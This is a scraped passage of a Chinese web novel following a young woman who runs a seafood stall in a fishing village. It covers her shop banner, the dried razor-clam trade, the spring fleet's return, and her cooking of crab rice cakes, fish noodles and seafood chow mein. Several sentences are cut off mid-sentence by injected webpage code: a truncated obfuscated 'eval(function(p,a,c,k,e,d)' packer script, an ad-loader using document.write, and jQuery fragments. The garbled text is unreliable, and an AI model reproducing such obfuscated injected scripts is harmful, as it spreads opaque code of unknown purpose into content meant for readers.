“好了，多好的事，”江盈知叠起凳子，开口打断，“等等海红姐过来，把东西先搬到船上去。” “等会儿去里镇的铺子，有些东西要置办。” 王三娘便说：“那你和小梅去，我跟强子弄，眼瞅着要晚了。” 江盈知也没有推辞，扯下腰巾，把袖子拉下来，揣好钱袋子跟小梅一道往里镇城门口去了。 两个人攒了点银钱，买起东西来也不敢摆阔，买了油盐酱醋，一袋面粉，一包红薯粉条，一个新的大陶罐，旧的今天早上煮裂了。 路过糖铺，江盈知要了半包糖块，是白色的麦芽糖，凝固了，很甜也很黏。 两个人吃了一块在嘴里嚼了又含，从东走到西，最后扯了半块浅蓝布做招幌，字请城门口摆摊的先生写的。 “要写什么？”先生问。 江盈知想起自己以前，说攒够了钱要开家自己的海鲜餐馆，就叫四时鲜，到了这里也能用。 她说：“就写‘四时鲜’吧。” 一年四季都能吃到海里的一口鲜。 她这样跟小梅解释，坐了船回去，用麦芽糖换了海娃捡的一堆贝壳、小海螺，挑了好看的，借了陈大发的钻子，挨个钻孔。 用苎麻绳挨个穿过，缝在招幌上。 等出了摊，用竹竿一支，蓝色的旗子在风里飘，底下连排一长串的海螺贝壳叮叮当当地响。 引了路人回头，识字的便瞧见了上头的几个字，用手指着念出来，“四时鲜。” 有了显眼的招幌，自这日起，不少人记住了这家叫四时鲜的小摊。 17.蟹炒年糕 招幌挂上后，哪怕待在墙角处的小摊子上，也能被食客找到，吃过鱼丸鱼汤的，总惦记着那口味。 每个过来的人一定会指着招幌说：“那海螺贝壳吹起来，声音远远就听着了，好听得很。” 也有的说：“这名字好，我们海浦过四时八节才尝尝鲜，到你这就是时时鲜。” 不过老一辈看来，四时虽好，四念出来不好听，便扔掉那个四字，只叫时鲜，也有的喊海螺摊子。 有人说是烹鲜才对，其他摊子上烧不出这口味。 江盈知笑纳了，得亏没给她个海螺姑娘的名号。 这几日渔港来客多，到了摊子前就喊来碗汤，阔气地会再要一份醉泥螺。喝了汤定要再多要些鱼丸，或是上份敲鱼面，吃完后接着慢慢嗦着泥螺，走了包点烤鱼干，塞一根到嘴里，一路边嚼边逛。 哪怕外来的食客也认准了这个招幌，只觉得颇有趣味，有那促狭的，叼着鱼干要走前，伸手去晃晃那长串贝壳海螺，听它叮叮当当响了一阵，才颇觉满意离开。 要是离了这个招幌，便总觉得缺了点什么。 江盈知瞧他们这样喜欢，又再做了个，换着用，日日一到渔港，先把招幌给竖好再说。 一时颇赚了许多回头客，钱袋子日渐叫铜板塞满。 可不止她忙，这段日子渔港人多，许多人是日忙夜忙，可着劲赚钱，天天累得倒头就睡，王三娘嘴角还起了个大水泡。 叫西塘关的药婆看了，她没好气地说：“都是累的，回去歇着。” 王三娘出来，跟另一个牙床肉都肿起来，捂着嘴进屋的妇人碰面，寒暄几句，嘶了声。 转回去问江盈知，“那蛏干能不能卖了？真是夜倒腾日倒腾，都上环礁那小岛挖去了，再不叫人来买，这群人能攒到明年去。” “今儿就来，下午他坐船到这，”江盈知捶着胳膊，难得松快一天。实在是累，这几日站到她的腿都浮肿了，还去膏药婆那里买了几个膏药贴上。 王三娘回去把这件事跟大伙一说，有些刚剥了晒出去的就不甘心，问后几日来不来。 有的就急忙回去，叫来小孩一起，把竹匾上的蛏干挨个抠下来，放得松一点，不要被压扁了。 等她们收得差不多，江盈知去岸边等菜佬过来，她坐在礁石上看海，看这片陌生又熟悉的海域。 直到远处有艘大对船划过来，菜佬腋下卷着一叠麻布袋，从船上跳下来，招了招手，“小妹，上哪收去啊？” “我同你讲，我这回要收得多，”菜佬把麻布袋提了提，后面背着一杆秤和几口碗，胸前是一袋沉甸甸的铜板。 江盈知问他，“收多少？” “好的话，有多少收多少，”菜佬说，他不会告诉江盈知，自己这几天寻了两个大买主，他又问，“你家里头晒了多少？” “晒了刚够自个儿用的，实在没工夫，”江盈知回他，实则这片滩涂的蛏子早被挖得精光，泥洞打得深才没被挖到。 好些划着船往海神庙那片沙滩挖沙蛏，快到东岗才停，有家婶子感念她这份情，也特别客气，挖了送江盈知一篮子。 沙蛏一个个跟中指那样长，肉也肥美，她做了葱油蛏子，满肚嫩肉可把她吃的找不着北，厚着脸皮又用鱼丸同人家换了两篮子。 她想着沙蛏的滋味，领着菜佬往石砌台阶上走，那边石头垒的高墙上一群女人张望，相互推推，有人喊，“来了来了。” 有妇人一手搂着小孩，一手赶紧放下脚箩，朝屋里叫道：“大丫，赶紧的把蛏干拿出来。” “我家的还晒沙滩头上，细妹，快拿几个小袋来，去收蛏干了。” 这会儿大家连忙停了手里的活，整整手头的东西。原本安静的道地变得热闹起来，推了窗出来瞧的，从山道上跑下来的，全往这里聚。 菜佬在一张石桌上放下包袱，取出他的小秤，喊道：“七文一斤啊，我的秤你们拿去验验，要不过秤要不装碗里，小碗装满刚好半斤，两碗算一斤。” “我们也看不来这玩意，”陈海珠搂着一袋蛏干说，“按小碗装。” 有个女人挤进来问，“拿蛏干换东西成不成？” 说话的叫毛珠，她家没有船，娘还卧病在床，有些东西想买也出不去。 菜佬倒真有，在那艘船上有之前攒的针头线脑、红糖纸包、豇豆籽、冬菜（紫菜）、虾皮，简直乱七八糟一大堆。 “那你的押后，等大伙要钱的先来。” “我先，瞧瞧我的，可不能少算，我家里还有个老头吃着药呢，”一个大婶从后头生插进来，把两大包蛏干举过别人头顶，放在石桌上。 其他人抱怨几句，也让她先去，谁叫人家就等着用这笔钱买点药来。 菜佬解开布袋，扑面而来的腥气，他掐了掐，肉挺厚，捏了捏包囊，撕下来看看有没有沙子。 那大婶紧抿着唇，又不好说，生怕一说人家不要了，脸上神情纠结到眉头起了褶子。 江盈知瞧见了，便说：“这些打眼一瞧就晒干了，有的跟酱油色一样，那是日头猛，海风吹的，煲汤最香。” 菜佬也尝了个，比江盈知卖给他的要更有味一些，偏咸口。 因为江盈知煮蛏子不沾咸水，她们煮蛏子用的锅都是煮盐货的锅，洗再干净，那也透着一股咸味。 不过倒是符合海岛大多数人的口味。 菜佬也没有挑刺，除了特别差的，都按两碗一斤给换了。 搁下碗，能听见他数铜板的声音，叮叮当当一串，“你的，六十三文” “那两个篮子的，等等啊，一百五十六” “这个是二百二十” 围着的人一听又嚷起来，“双珠嫂子可以啊，叫你拾了那么多——” “我上环礁挖的，”双珠嫂子扔下一句话，拿了钱到旁边数去。 留下一群人唏嘘，个妇人家胆量足得很，能自个儿上那浪最猛的地头去，要钱不要命。 各家领了钱，多的百来文，少的几十文，都欢喜得不成，能攒一攒，或是买点猪头肉来吃。 有的则跟着菜佬去船上换了东西，除了些要用的外，有的换了饴糖，虽然化成糖稀了，黏在油纸上。 可接过的小孩特别高兴，坐在石头上舔着糖纸，糖稀都快滴到衣裳上，连忙伸舌头去接。 一张手掌大的油纸舔了又舔，终于没味了也舍不得扔，放在鼻子上嗅着，跟旁边的小孩说：“甜的，放到床边去。” “招了虫，小心姆娘扁你。” 小孩小心叠起糖纸说：“那我放衣裳里。” 江盈知看了许久，她转向了别处，笑了笑，穷的时候一点黏糊糊的糖都能高兴许久。 她准备往下走回去时，有人喊她，“小满，别走，别急着走，来坐坐。” 是刚才的双珠嫂子，还有几个女人挨在一处，招招手，冲着她笑。 江盈知就掉头走了回去，双珠嫂子拉住她，“来来，给你包东西，刚忙着没谢你。” 其他婶子也伸手拉她，“过来过来，坐坐再走。” 她们力气大，把江盈知按在石座上，不让她走，她便笑道：“我不走。” 双珠嫂子急急忙忙提了一篮干菜过来，瞧着深绿色，乍一看黑乎乎。 “别瞧这海芥菜不耐看，泡了热水放汤吃着可鲜，跟蛏干不是一个味，”双珠嫂子生怕江盈知嫌弃，连忙说。 江盈知哪里会嫌弃，刚背着光没瞧清，仔细瞧了这海芥菜可不就是裙带菜吗。 她忙说：“嫂子你这在哪采的？” “你也认识，”有个婶子凑过来，“你们外海也有这？” “上西滩岛那采的，我们这海前面不生海芥菜，”双珠嫂子叫旁边人扯住袋口，把晒到干瘪的裙带菜往里倒，抖抖篮子说，“你要是吃着好，就上我这来，我去采了给你。” “外海管这叫裙带菜，掺点豆腐、蛤蜊和虾，吃着更鲜，”江盈知摸了摸那裙带菜，即使晒法不好，可品质真没得说。 她都已经能知道冷水泡发后，一小张绿油油的皮有多顺滑。 “嫂子你卖我些吧，”江盈知真想要，裙带菜加上豆腐、虾米就能成一锅鲜汤，只放些盐，其他料都不需要添太多。 只抓一小把，泡透煮开满满一大盆，在小摊上卖最实惠。 双珠嫂子刚承了卖蛏干的情，心里过意不去，“囫囵着捡捡晒晒的，你要买…” 她犹豫着说：“不要钱，拿些鱼丸啥的换吧。” 叫家里孩子也吃顿上。 江盈知自然答应，至于这一袋的裙带菜，双珠嫂子硬塞给了她。 其余围着的婶子，有个说：“我们没法子给这些，家里人口重，还可着吃饭。倒是你姑前头说有什么法子教教你，小满你跟着我们晒虾米吧。” “也不晓得你会不会，来来来，到这来。” 把虾做成虾米是西塘关妇人都会的一门手艺，基本是娘传女，或是亲缘关系近的才会教。 并不像江盈知煮熟晾干那样简单。 她们把煮虾叫做烤，这个过程要放盐，煮到江白虾通体泛红，熟透了，再是晒。 双珠嫂子说：“这晒我们叫烤虾，日头把虾烤干了，还得翻扒翻扒接着晒。” 她递给江盈知一把虾米，橙红色的肉，虾的身体弯曲， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洗干净后，摆在最里头的屋子里，用这些天赚到的钱置办了些许粮食，那些桶便一一被粮食装满。 糙米最多，占的桶最大，面粉贵，江盈知只买了小半袋，塞进陶罐里，免得生虫。 番薯淀粉便宜，她买得多，另有米面，一包挂面，番薯面，一点黄豆，能发黄豆芽吃，一桶泡在水里的年糕。 除此之外便是江盈知用野蒜做的梅干菜，放在小竹箩里的姜蒜，赶海所得晒的蛏干、蛤蜊干、虾米、鱼片、烤鱼干，一罐罐蛏油和蟛蜞蟹酱。 浓浓的海味，也带了些许腥味，却叫江盈知满意极了。 她还和小梅去扯了布，留着不忙的时候做件衣裳，布店里有颜色不错的碎布头，两个人挑挑拣拣买了些，缝起来，挂在屋里。 没有门，便用碎花布来代替，虽然突兀，却叫小梅高兴，拉着布翻来覆去地看。 又买了把棕丝，叫王三娘依着江盈知的脚，晚些做双厚棕鞋。海边人家里总少不了一双，捉青蟹的时候穿着棕鞋，蟹钳也夹不进。 剩下的一两多，一两给了大木，把门口那艘小对船拿去修，船板烂了许多，全得换过，要十来天才能修好。 江盈知就这样渐渐融入了这里，把日子慢慢过起来。 她把虾米放好，拿了两条年糕出来，小梅在挂海螺，她笑着说：“晚上吃年糕好不好？” 海娃忙放下贝壳，立马跑过来说：“吃，我吃。” 说着口水便有些滴下来，他又小，没吃过什么好东西，咸鱼干蒸番薯丝也能吃得津津有味。 自打江盈知来了后，他和小梅才渐渐长了些肉。 他知道烧饭要干活，便去边上堆着柴火的地方，抱了点木板，吭哧吭哧走过来。 还要给江盈知烧火，小梅看见啊了一声，“灰全糊衣裳上了，你个脏娃。” 江盈知切着年糕，笑说：“拍拍就是了，快帮我生个火。” 这顿饭到了日近黄昏时才吃上，江盈知做了蟹炒年糕，没有梭子蟹、青蟹，用蟛蜞小蟹来凑凑。 也炒得金黄，香喷喷，蟹味浓郁，年糕软弹。 小梅闷不吭声地吃着，好吃到她想哭。 此时山里的风吹来，挂着的海螺哗啦啦响，海娃嘴边沾着酱汁，他喊：“海螺唱歌。” 江盈知便轻轻哼着以前的渔鼓。 夕阳从海面消失，夜色渐渐平铺上去，海边人家睡了，而望海的海面，却有离家三月没回的春船，趁夜赶了回来。 带来外海的渔获，满船的丰收。 18.小黄鱼烧面 春船正月出洋，从望海出去一路南下，三月回洋。 此时已经三月下旬，谷雨刚过，他们顺着洋面风从外海赶回来。 清晨，海雾天，五六艘大捕船停靠在西塘关海滩上，下旬是小潮汛，浪不大，渔民下来打好木桩把船绳绑上。 管船的老大吆喝着：“到家喽——” 渔民也跟着一道喊号子，恨不得抱头痛哭，在海上几个月吃的全是苦，可算回家了。 这动静不小，睡梦中的人家被惊醒，忙推开门去看，见到海滩上的船，一时也欢喜起来，忙披上衣裳去叫人。 “渔船回洋了，春船回洋了！” 于是也有人高喊，“真是保佑保佑，满道风篷（顺风顺水）。” 等江盈知和小梅被王三娘拉到海滩上时，高墙上、滩涂边全围满了人。家人围着哭了一通，念着海神保佑后，才慢慢笑着闹着，充斥着喜悦的气氛。 人太多压根挤不进去，她们只能站在就近的礁石上张望。 江盈知好奇，“从哪回来的？” “外海，哪片我们也不晓得，”王三娘爬到了最高的礁石上，瞅着那片地方，喃喃自语，“也不知道这回能不能把那八百文还我。” 西塘关渔民穷，凑齐六条大捕船都不容易，每次出海就得到各家各户凑钱，凑来的钱买盐，买米和面，出洋交钱，回洋后渔获超了四百斤，又得交一笔税，每过一个渔港停泊得交关税。 不凑不成，没钱鱼汛期就得去鱼行借钱，那叫放山本，利税高。 如此在外捕鱼三月，王三娘除了高兴他们能回来，又担忧今年没个好收成。 毕竟渔民嘴里常说：“三冬靠一春”，三个冬汛期时捕获的鱼和海鲜，也不如春天一季的小黄鱼收成。 不止她想钱的事，各家凑了钱的妇人也在问，“春鱼抲得多不多？” “全洋面过鲜了？还是剖了抄咸，抱盐全做鱼鲞了？”双珠嫂子高兴外又发愁，“今年咸货铺子也不晓得收不收那么多。” 小黄鱼鲜的时候卖价最好，要是能在捕了鱼后，碰上外海冰鲜船，把鱼卖出去，那时收的钱最多，大伙全盼着能洋面过鲜。 但是渔获多，冰鲜船少，渔港的冰贵。渔民只能网了鱼，立马抄鲞刀，剖了鱼取出鱼鳔，塞盐，再晒船板上。这叫抄咸，也叫一把鲞刀一把盐。 管船老大陈通海乐呵呵的，“这回运道好，头一波赶上了粉籽的春鱼，卖了个好价钱，后头赶上的大多是水籽的，就剖了做鱼鲞。” 江盈知听了后也想吃粉籽的小黄鱼，这算是行话了，粉籽代表小黄鱼没产卵，又临近产卵期，那时的肉质最紧实最鲜美。 水籽的就表明已经产卵，肉质会变得较为松散，可也比其他鱼吃着要鲜。 她馋着那滋味，忽听人群里笑闹，自打陈通海说了今年收成不错时，大家便都高兴起来。毕竟拉紧裤腰带子，天天在灰缸里熬番薯丝粥喝，可算能把旧年里的债收回来了。 一顿关切问完后，大捕船上的渔民开始卸货，小梅拉着江盈知凑进去看，小声说：“以前还有不少外海的鱼，通海叔会分点给我们尝尝鲜，阿姐你等会儿看看识不识得。” 江盈知看着那一桶桶小黄鱼鲞，这才知道，捕鱼船要回西塘关前，还会去就近洋地（渔场）进行对网捕捞，捞来的活鱼不卖，拿回来给大伙吃一顿。 “最后在过青屿岛时捞了网小黄鱼，”陈通海拎着一桶冰鱼，“没舍得卖，碰上冰鲜船，狠狠心过了冰，每家分几条走啊。” “还有这些鱼在过山礁那捞的，我也不大识得，只晓得没毒，要的话拿去吃，”陈通海说得大气。 其他人沉浸在吃小黄鱼的喜悦里，闻言看了眼那桶活鱼，压根不识得，海里鱼千千万万，哪怕老渔民也有大半不认识。 大伙不吃不认识的鱼，立马甩头说不要，有的要拿去当肥使。 “正碰上这鱼汛，你们不吃，拿去喂鸡鸭吧。” 可江盈知认得啊，她连忙扒开前面的人，硬生生挤出个脑袋来，“别喂鸡鸭。” 大伙的目光齐刷刷瞧她，她只露个脑袋，顿时都笑了起来，王三娘也笑，上手拍拍叫边上人让开。 江盈知只顾着鱼，也不管大伙是不是笑她，站直了身子道：“这是闽省的鱼，那边人叫它巴浪，味道差，蒸熟晒了能当鱼干吃。” “刺多不多？”有人问。 她点点头，刺多，而且要是碰上鱼正在长时，那便是肉少刺多。 但巴浪真的好吃，晒鱼干晒到硬邦邦，吃起来跟笋干一样耐嚼，越嚼越香。 她喜欢拿了做鱼松吃，剃了骨头慢慢烘，小火煨，浇些酱油调料，炒得松散散，吃起来比肉松还好吃。 以前她吃过闽江口的巴浪，那边还用烟熏，用的是焦糖和麦芽糖熏的，熏到上色，沿着周身一圈黄，颜色漂亮，味道也上佳。 她爱吃这口，但渔民却不行。 “那我们不吃，还得费盐，”渔民可不舍得在这上头花费盐。 陈通海捞起小黄鱼，闻言笑问，“这小囡我不认识，哪家的亲戚？” “三娘家的，”里长拄着拐走了一步，当着众人的面说：“落籍到我们西塘关了。” “小满，黄表册到了，你等会儿拿回去好好收着。” 他特意当着大家伙面说起来，小梅立即欢呼雀跃，赶紧拉拉江盈知的手。 她还看那些鱼呢，听到后露出个笑来，清脆地哎了声，眼神很亮。大伙瞧她像是大黄鱼的鳞片，那样光闪闪的，多么好看。 没人对她有敌意，一时好些妇人也跟着笑，瞎起哄，“这可是自己宗族人了。” “以后嫁我儿子得了，我跟小满当婆媳。” “滚边去，”王三娘笑骂，“正经好事你们要来凑热闹，你们多教教点，少说些混不吝的话来。” 一时又笑闹开，陈通海也笑，多拿了两条小黄鱼，“正好碰上这事，叔给你的，小满你拿去吃吧。” 于是江盈知得到了五条小黄鱼，那上头还留有碎冰，她欢喜地想立马抄刀煮了。 那盆外来的海鱼，除了拿去吃吃看的，陈通海也送给她了，和善地说让她好好留在这里。 江盈知揽过小梅，小梅已经笑了好久，到现在都还十分欢喜。 她又喊：“阿姑，你们中午来吃面。” 王三娘瞥她，伸手推推，“赶紧的去拿表册，藏藏好莫要丢了。” “你们几个上我家来吃饭。” 陈大发搓搓手，犹豫着说：“到小满那去吧。” 他嘀咕，“你也就会蒸点咸鱼干饭。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “陈大发你真是皮痒了，吃点好的你忘本了，”王三娘骂他，要不是手里还拽着小黄鱼，非得抽他。 顺子喊，“我跟小满姐和小梅姐吃去。” 一时把王三娘给气的，拿过江盈知手上的小黄鱼，“你赶紧着去拿，这帮子嘴馋的，全等着你下厨呢。” 江盈知便笑着松开手，跑在沙滩上，路过的人看着她轻快的背影笑笑。 她从里长那拿了黄册表册，翻来覆去看了又看，就是张纸，上头写了落户处：西塘关，她缓缓呼了口气，小心放好。 而后回了家，没走到就有一群人眼巴巴看着她回来。 有人等着她真好。 她当即撸起袖子，“中午吃黄鱼面。” 这几条小黄鱼算不上新鲜，可凭它是野生的，便抵了过去。 江盈知以前烧小黄鱼面，要用半锅的油，等沸了再炸小黄鱼，炸到酥，下锅煮。 到了这没有好油给她用，菜籽油炸出来不好吃，她干脆用猪油，片了小黄鱼，下锅煎到鱼片卷边焦脆。 剩下的小黄鱼剁了鱼头，剃下的鱼骨来熬汤，熬到汤越滚越白，捞出碎渣，再放小黄鱼片，炖到鱼酥汤鲜。 她只尝了一口，忍不住说：“鲜得来。” “透骨新鲜，”这算是尝到小黄鱼面的大家唯一的想法，汤都要舔得精光。 也就沾沾今天大捕船回洋的光了，往常哪能在这时候吃得上。 顺子举着碗说：“等黄鱼横街了，天天吃，顿顿吃。” 挨了王三娘一脚，“打水洗鱼去，别想白吃。” 大伙去凑热闹时，强子弄好了鱼丸，此时问：“晚点上渔港去？” 江盈知嗦着鱼骨，她张不开嘴，立即点点头，今天早上她把裙带菜全给泡了，又去买了些嫩豆腐，叫大伙尝点新鲜的。 鱼松晚点回来再做。 今儿的渔港更热闹，挤也挤不进去，只能停靠在海面上，全部渔船挤挤挨挨，陈大发被迫收起桨，正想抱怨几句。 旁边斜插进来一条纲梭船，很窄，船上挂着竹桅布帆，前头有人摇桨，后面站着两个穿军服带刀的军户。 原本还吵嚷的，抱怨的，立马熄了声。 这船有点眼力见的都认得，是卫所的哨探船。而卫所可比水师要叫人害怕得多，那里是屯驻军队，且有战船和战场。 那军户手搭在刀上，横眉冷目，声如洪钟，“渔船从今日起不得往招宝山一带去，演武场练兵水操，斗舰无眼，火蜡伤人。” 这话说了三遍，水师的船又行了上来，说话要和气很多，“前头海寇流窜，河泊所和卫所派了人去围剿，流寇已经全都逮捕。” “招宝山水操为了震慑海盗，刀剑无眼，所以渔船不得往清水岸口，大路岛、潜湾一道。” 说完后，水师下了船舱，有小吏上来喊：“所有外帮商船、航船，后日卯正（早六点）放行——” 他吹了开航的螺号，有人打起鼓来，渔港乍然沸腾，全是欢呼声。 “我们能走了？真能走了？” “终于放行了，这都多少天了” “买些干货，路上带着吃去” 一路上顺风行过，江盈知能看见那些人的脸上喜洋洋的。 回家，回程，都叫人欢喜。 19.海鲜炒面 渔港的好生意快到了头，最后一日，更是人潮涌动。 宽道硬是挤成了窄道，岛上人家搜刮家里上上下下，也要拿出些东西卖：装在蟹扁桶里的蟹酱，一摊连一摊的鱼鲞，冬天风干的鳗鲞、带鱼鲞，或是刚抱盐过的小黄鱼鲞。 也有的采了礁石上的辣螺，做了一罐罐的螺酱，全是整颗螺肉，汤汁香浓;一旁卖醉泥螺的香气也不在话下，一掀开盖冲散了点旁边生鲜的腥味。 另有卖糟鱼、炝虾，酒蟹，或是支了个摊子卖鱼鲞?肉的，一时渔港便弥漫着极其复杂的味道。 江盈知还闻到了隔壁铺子里的雪菜黄鱼味，之前在这多少天，也没见人开张，一烧焖出来雪菜和黄酒香，让她站了远些。 旁边小梅给海红搭把手，强子在舀鱼汤，兼顾着一锅裙带菜豆腐。王三娘肩膀搭了两三块布，一等人起身，拿了碗，碗里剩的倒料桶里，拿回去喂鸡鸭，再三两下抹完桌。 只有江盈知不停颠锅，后头坐着的熟客叫她，“阿妹，再来碗炒面。” “哎，就来，”江盈知应着，晃晃胳膊，自打昨儿说了明日放行，她今日便想烧些旁的来，左选右选，定了海鲜炒面。 去面铺上买了碱面，是细面，黄拉拉的，又绕到干货铺，花上五十文要了点干香菇，一早泡发好。 鲜蛏子、花甲、螃蟹、海螺，养在盆里吐了沙，要活的炒起来才鲜，又担过来，放在摊子边。 那会儿到了摊子上，想着能先缓缓，把火生起来，结果才刚到就有人候着，都等不及她们把桌凳摆好，全自己上手拿了。 嚷嚷着：“小妹啊，下次早点来，就等你这口吃的。” “哎呀，有旁的，煮什么面？” 江盈知套上袖套，拎着锅说：“海鲜炒面。” 这几个熟客便不走了，站在旁边看她炒，鱼汤、裙带菜、醉泥螺全吃过了，馋的时候连蛏油都得刮勺尝尝，吃完说咸了点，转头又嚼上了蛏干。 她也不搭理，只管扯了一把碱面，投进锅里煮熟，用竹篱捞出来抖抖，倒点熟菜油抓抓匀。 旁边后生问：“做什么要放油？” 女子捶他一拳，“多嘴，人家烧饭的行当关窍，你也要问。” 江盈知笑道：“哪有什么不能说的关窍，碱面炒时要粘锅，抓点油就不会糊成一团。” “你们自家烧饭时，也大可去试试。” 她说完后，洗了锅，抄起勺子舀猪油，油化开后，葱蒜煸香，放香菇碎，捞出小海鲜，虾放一把，随后是蛏子、蛤蜊、海螺肉。 锅里传来噼噼啪啪的响声，热油爆炒出了香气，蛏子、蛤蜊、个个开了壳，黄酒半勺，汤汁咕嘟嘟沸腾。 “真香啊，”有人咽咽了口水，空着肚子等了许久，如今一闻见这个味就直叫唤。 江盈知将一把面抓起来抖抖，铺在料汁上，翻炒间面裹上了酱汁，她又撒了把小青菜，颠着锅再炒几下。 一碟面卖相十足，料多面多，喷香扑鼻，小青菜翠绿。 有些心急的，连忙自己端到桌上，面还冒着热气。也顾不上烫，捞了双筷子，卷起面就往嘴里塞，嚼到面里的螺肉时，嘶了声。 “烫着了？”有人问道。 那男子连连摇头，回味着说：“实在好吃，明府也没有做得这样鲜香的小摊。” 他又吃了口面，嚼到了香菇干，泡发后的香菇没有苦涩味，味道更浓更香， 十分弹牙，却又跟鱼丸不同。喝一口紫菜汤，汤里还混着虾皮，一口面再喝上一口汤，简直想把盘子都给吃下。 一时悲从中来，吃个面不免要唉声叹气，“回去后，可就吃不到这口了。” 不止他一人悲愤，其他人也同样觉得无望，回去后小摊头吃不到这个味道，酒楼又吃不起，想着想着又多吃了口面。 旁边的李翠文也觉得难受，她是航船老大的家眷，难得跟着航船从明府到渔港来，这次滞留在这时，倒是日日来摊子上吃饭。 李翠文很稀罕江盈知的大方气，想她第一日刚出来渔港吃东西，到这家小摊吃着鱼汤觉得好，把东西全点了。 没成想，吃完了才发现自己换了衣裳，钱袋子在另一件外裳里，一时瞧着桌子喝过鱼汤的碗，放了醉泥螺壳的盘子，不免臊得慌。 倒是江盈知说：“来了渔港都是客，这顿算我请的。” 李翠文记下了这份情，第二日还了钱后，便日日来吃，江盈知也同她渐渐熟识起来。 “文姐，明儿便能回去了，是往明府那去，还是再往北边走，”江盈知炒着手上的东西问道。 “回明府去啊，留在这好些日子了，”李翠文用手帕擦着嘴走过来，瞧着锅里的面，“最舍不得就是你这手艺了。” 江盈知早就听到后桌的不舍，朝旁边的纸包指指，“那带些鱼松回去，我昨儿刚做的，不管下粥，吃馒头塞点都好吃。” “啥鱼松？”一群人从后面围过来，手上还不忘端着一盘面，边嗦着边往这里看。 小梅跑过来，笑着把罐子里的碎鱼松抖给他们瞧，那鱼松炒的黄灿灿、松散散。 “尝尝，”小梅给每个人分了些。 有人赶忙送到嘴边，还把指头上残留的给嗦掉了，入口便化开，舌尖唇齿都是咸香。 这鱼松蓬松得像棉花，要是棉花有味道，大抵是这种浓郁的海味。 “来三包，我带着路上吃” “我也来几包” 一时又你争我抢起来，江盈知做了不少，花了一个下午和晚上，把巴浪鱼全小火慢烘成了鱼松，瞧着多，做出来用油纸包了也才几十份。 被抢了大半，她还拿了几包给李翠文，“拿去路上吃吧，航船日夜辛苦。” 李翠文要掏钱，她拦下了，小声问，“文姐，找你打听个事。” “你说，”李翠文停下推脱的动作。 江盈知压低了声说：“你是明府哪的？你们那有没有个地方叫临水巷？” “有啊，你也去过？”李翠文同她站到一处，不解地说。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 适逢又有食客上门，江盈知刮刮锅上的碎屑，舀了勺水，偏头说：“我没去过，有个亲眷在那里，说是在临水巷的石员外家里做出窠娘（月嫂）。” “好些日子没信了，这不，你也是明府的，就寻思打听打听。” 她上回听了小梅说过，那时虽然宽慰了下，却也把这事放在了心里，正逢这个机会就赶紧问问。 李翠文一听，立即说：“怎么不知道，跟我住的那地方隔了一道街，他家今年运好，刚来了一对龙凤胎。你放宽心，那不是磋磨人的富户。” “叫什么，我回去给你问问？” 小梅在后头顿住，又及时插进来说，声音带了点隐而未见的颤，“巧女，她叫周巧女。” “姐你帮忙问问吧，”江盈知拍拍小梅的肩膀，冲着李翠文笑笑，“要是成的话，还得托你给我们捎点东西去。” 李翠文满口答应，晃晃手上的几个纸包，露出笑来，“就算不为旁的，就冲这也得应下不是，到时候有信了，拖了我家那个，搭航船送来。” “晚些收了摊，你们把东西送到三里栈来。” 王三娘听了一耳朵，叹口气，晚娘处得好，也能做亲娘。 下午收完摊，小梅便拿着钱去置办东西，她跟江盈知说：“我晚娘旁的不爱，最喜欢吃宁记的桃酥。” “她说做姑娘的时候常吃，嫁了人后再也没吃着。” 她晚娘头一个嫁的是个船工，年年出海，日子也过得去，生了大儿子后十来年，船工和大儿子出了海后，全没了。 后头才带着海娃嫁了小梅他爹，更是半块桃酥没捞着。 宁记的桃酥十个一包，要三十文，小梅一气买了三包，她从还四叔的钱里抠出来些。 她眼睛有点红，却笑道：“叫我晚娘吃个饱。” “再拿一桶这个，”江盈知指指这个老式糖酥饼，“包得严实些。” 她付了钱，塞给小梅，“拿去吧，一道寄过去。” “再买包糖，我给你找张纸，写点信捎去。” 江盈知帮小梅写了信，很简短，写了海娃长肉了，自己很好，叫她照顾好自己，记得每天吃桃酥捎个口信来。 旁的再也没了，小梅也讲不出什么话来，只拿了布，把几桶糕点和一包糖卷在布袋里，信也放进去，一把铜钱，她紧紧地打了个死结。 那个长卷包送到李翠文手上，她点点头，保证道：“指定给你们捎到石员外家里去。” 江盈知又拿了一袋海鲜干货塞给她，分量很足，“得麻烦姐一趟了。” “你瞧瞧你，”李翠文想了想还是收下了，她琢磨着，晚些自己从明府也捎些东西来。 辞别了李翠文后，小梅踩在小路上，墙上石头裂了，有光照过来，她就踩着玩。 江盈知抬头瞧着小巷里的天，蓝盈盈的，多么好的天，她脸上渐渐有了笑。 她提着肉，小梅拿一捆鲜菜，走在渔港的道上，船停泊在岸口，等着她们回家吃饭去。 20.三鲜饺子 回去后夜里起了暴风雨，雨点哗啦啦地落下，海上卷起了大风，浪撞击着礁石。 渔民的船全都拖到了礁石滩后，倒扣起来，家家关紧门窗，渔港的船全部拢洋靠岸，栓紧绳结。 江盈知和小梅刚把好几个水桶放下去，接些雨水来，急急忙忙回去脱掉蓑衣，雨水全往身上打。 “是娘娘暴，”小梅脱了湿到半截的外衣说，跟海打交道惯了，渔民连风暴日都清楚，比如二月十九观音暴，三月二十三娘娘暴，总有三十个风暴期。 今日瞧着天色挺好，以为风暴不来，或是小风小浪。没想到风吹浪打，竹屋的那扇木门被拍得哐哐直响，四面灌风，吹的人冷飕飕的。 以往要是只有海娃和小梅两个人在，小梅又不敢去她大伯家里，必定躲到角落里紧挨着，抱着海娃，然后听一夜的雨声。 这会儿外头风浪虽大，竹屋也摇摇晃晃，可江盈知在，就很让人安心。 她先用几个凳子抵住了门，屋顶早前修过，用细网罩住的茅草屋顶是吹不走的，但是漏雨了。 滴在竹板上啪啦啪啦，水花四溅，江盈知喊，“海娃，拿两个小盆来。” “小梅，把你脚边那个大木盆抱到这里，漏得还挺多。” 江盈知用竹竿捅捅屋顶，没啥用，于是地板便摆满了大大小小的陶罐、木盆，外头下大雨，屋里下小雨，雨声滴答滴答。 